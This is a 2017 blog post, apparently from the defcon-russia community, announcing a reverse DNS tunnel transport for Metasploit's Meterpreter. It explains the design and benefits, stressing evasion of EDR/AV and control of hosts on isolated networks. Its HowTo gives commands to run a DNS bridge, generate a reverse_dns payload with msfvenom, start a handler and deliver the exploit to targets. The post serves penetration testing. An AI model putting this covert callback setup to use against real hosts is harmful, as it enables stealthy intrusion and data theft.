asintsov: декабря 2017

Meterpreter is a well-known Metasploit[1] remote agent for pentester's needs. This multi-staged payload is a good, flexible and easy-to-use platform that allows pentesters to have remote control over ~~pwned~~penetrated host[2]. Currently it supports following "network" transports:

Binding TCP port
Reverse connection over TCP/IP
Reverse connection over HTTP

Last year we, at defcon-russia, have started a fun opensource community project regarding implementing another network transport for meterpreter: reverse DNS (tunnel). Last week we also have presented it at ZeroNights. In that blog-post I want to share results of this work, future plans and main benefits and features.

Transport design and components

Our current "pre-release" is only supports windows platforms (both, x64/x86) and consists of following main components:

DNS MSF Bridge (as intermediate server)
Meterpreter DNS transport
MSF stager payloads (shellcodes, x64/x86)

The DNS MSF Bridge is a Python script which is used as DNS server. This is key component that is working in Internet as Name Server, parsing DNS requests and sending encapsulated data back. Normal DNS tunnel. At the same time this script binds a TCP port for MSF clients (pentesters). So pentester could use MSF and control pwned target through this DNS bridge. In other words this script is acting as a transport proxy. Currently we have not implemented "native" DNS service in Ruby, but there we reasons for that. Main reason is practical: when you do a pentest, you just put this DNS script on, let's say, EC2 instance, put NS records for main domain to that IP and then you could work with it from any place using MSF. More than this - with DNS Bridge we have implemented multi-console and payload support. This means that two or more pentesters could work at the same time with different targets and tasks using same DNS Bridge server and domain name. Currently one DNS Bridge (domain) supports up to 26 parallel sessions (pwned hosts)

Currently we support two types of DNS tunnels: DNSKEY RR and AAAA RR. This means that we have supported all these tunnels both in shellcodes and in metsrv agent.

And now we have whole transport over DNS, shellcode stager downloads main payload (meterpreer) over DNS and runs it from the memory. And meterpreter is also using same DNS transport. Now you do not need TCP/IP DNS tunnels with additional software, like Powershell script or Dnscat2. It is more stealth because with Dnscat/Iodine or any other TCP/IP over DNS you need to run additional process and bind local port for tunneling, which could be detected by local AV/EPP, but now, it is done in right, native, way in MSF payload itself, and it means that no sockets and tunnel processes/binaries/scripts needed anymore. Also we have now less overhead for tunneling traffic. We do not encapsulating TCP/IP headers, only payload(stage) body and TLV packets for metsrv. So it is faster.

Regarding tunnel's types:

AAAA - is slower, but it could be used from Windows XP. And yes, you can use this tunnel even if no IPv6 is used/installed on the victim box! To make this possible, we are using only reserved IPv6 address in responses, which will be passed anyway.

DNSKEY - this can be used only on Windows 7, but it is much faster.

Upload tunnel is based on subdomain values. So we have TLV encoded with base32.

Encryption - we do not use any additional encryption right now. It means that payloads will be passed "plain-text" in DNS responses. In case of AAAA tunnel it will be fragmented by IP addresses, in case of DNSKEY it will be 16 KB slice per response (TCP will be used).

Meterpreter communication is using standard encryption with session keys (AES+XOR).

While testing speed I got following results on different networks:

Upload
base32 - from 1 KB/sec to 4 KB/sec
Downlink
AAAA - from 4 KB/sec to 16 KB/sec
DNSKEY - from 86 KB/sec to 660 KB/sec

Speed is really depends on many things in the env and network, but in enterprise networks it will be "fast". So DNSKEY shellcodes download Meterpreter stage for 2 seconds, I think it is good enough for practical usage. But of course it depends from many things. Meterpreter also needs at least StdLib loaded first, and it will take some time (also few seconds) as well. Migration process also depends on download speed.

Benefits

Let's now review all features and why this transport could be used. Main profit - is accessing hosts in "isolated" vlans/networks. I still remember doing a pentest for one company when I was performing a social engineering project, where part of it was sending e-mails with PDF exploit to employees with 'no internet' policy. How to control such hosts in case if attack was successful? Reverse DNS tunnel is an answer! Also that was a way how we escaped from network sandboxes and etc (for example some EDR/EPP have a feature to isolate compromised host from intruder access, but with DNS tunnel, we still can save our control). All this happened because pwned box do not so any connections outside of LAN/DMZ, only to local corporate DNS server.

Another cool feature - "socket less" control which is applicable for Windows platforms. Main thing here that our agent(meterpreter, pwned process) do not need to spawn a connection, bind port or anything like this for doing DNS resolve. This is happened because MS DNS Cache will do all work for you. In other words, let's say we are injected into notepad.exe. Notepad.exe will try to setup a DNS tunnel with us through local corporate DNS server, but UDP/TCP connection with that corporate DNS will be done not by notepad.exe but by svchost.exe. So we got +5 to stealth.

And again, for most EDR solutions it will be not visible.

HowTo

0) git clone and install https://github.com/defcon-russia/metasploit-framework
1) Buy a domain. Shorter better. Like: msf.ws
2) get a hosting like EC2 (let's say IP will be 1.2.3.4)
3) put NS records to msf.ws to the IP of that server
4) Deploy DNS MSF Bridge to that server, run it

./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws

5) Prepare a payload

./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4

6) prepare an exploit with generated payload

7) run the MSF handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run

8) deliver an exploit to targets and wait... sessions will be spawned

Feature plans

Currently we are trying to get this transport into main MSF fork. This means that merge work need to be done - and it is in progress now. This activity including creating native DNS handler support (so it should work if we could use MSF as a DNS server, without Bridge) is now our main target. If you want help us, please let us know!

After (and IF) merge will be done and this work will be not just fork, but part of Metasploit, then we could start implementing more features:

Payload XOR encryption for stager
Powershell/VBS stagers
Adding more OS platforms supported
more types of tunnels: TXT, NULL and etc

If you want to help and participate - let us know!

If you have any questions or ideas - feel free to contact us at IRC(freenode.org #Metasploit, ask RageLtMan), Telegram (https://t.me/DCG7812 -- warning, Russian lang is main, but we could speak English a little bit! Ask me or max3raza). Or just drop an e-mail...

Sources: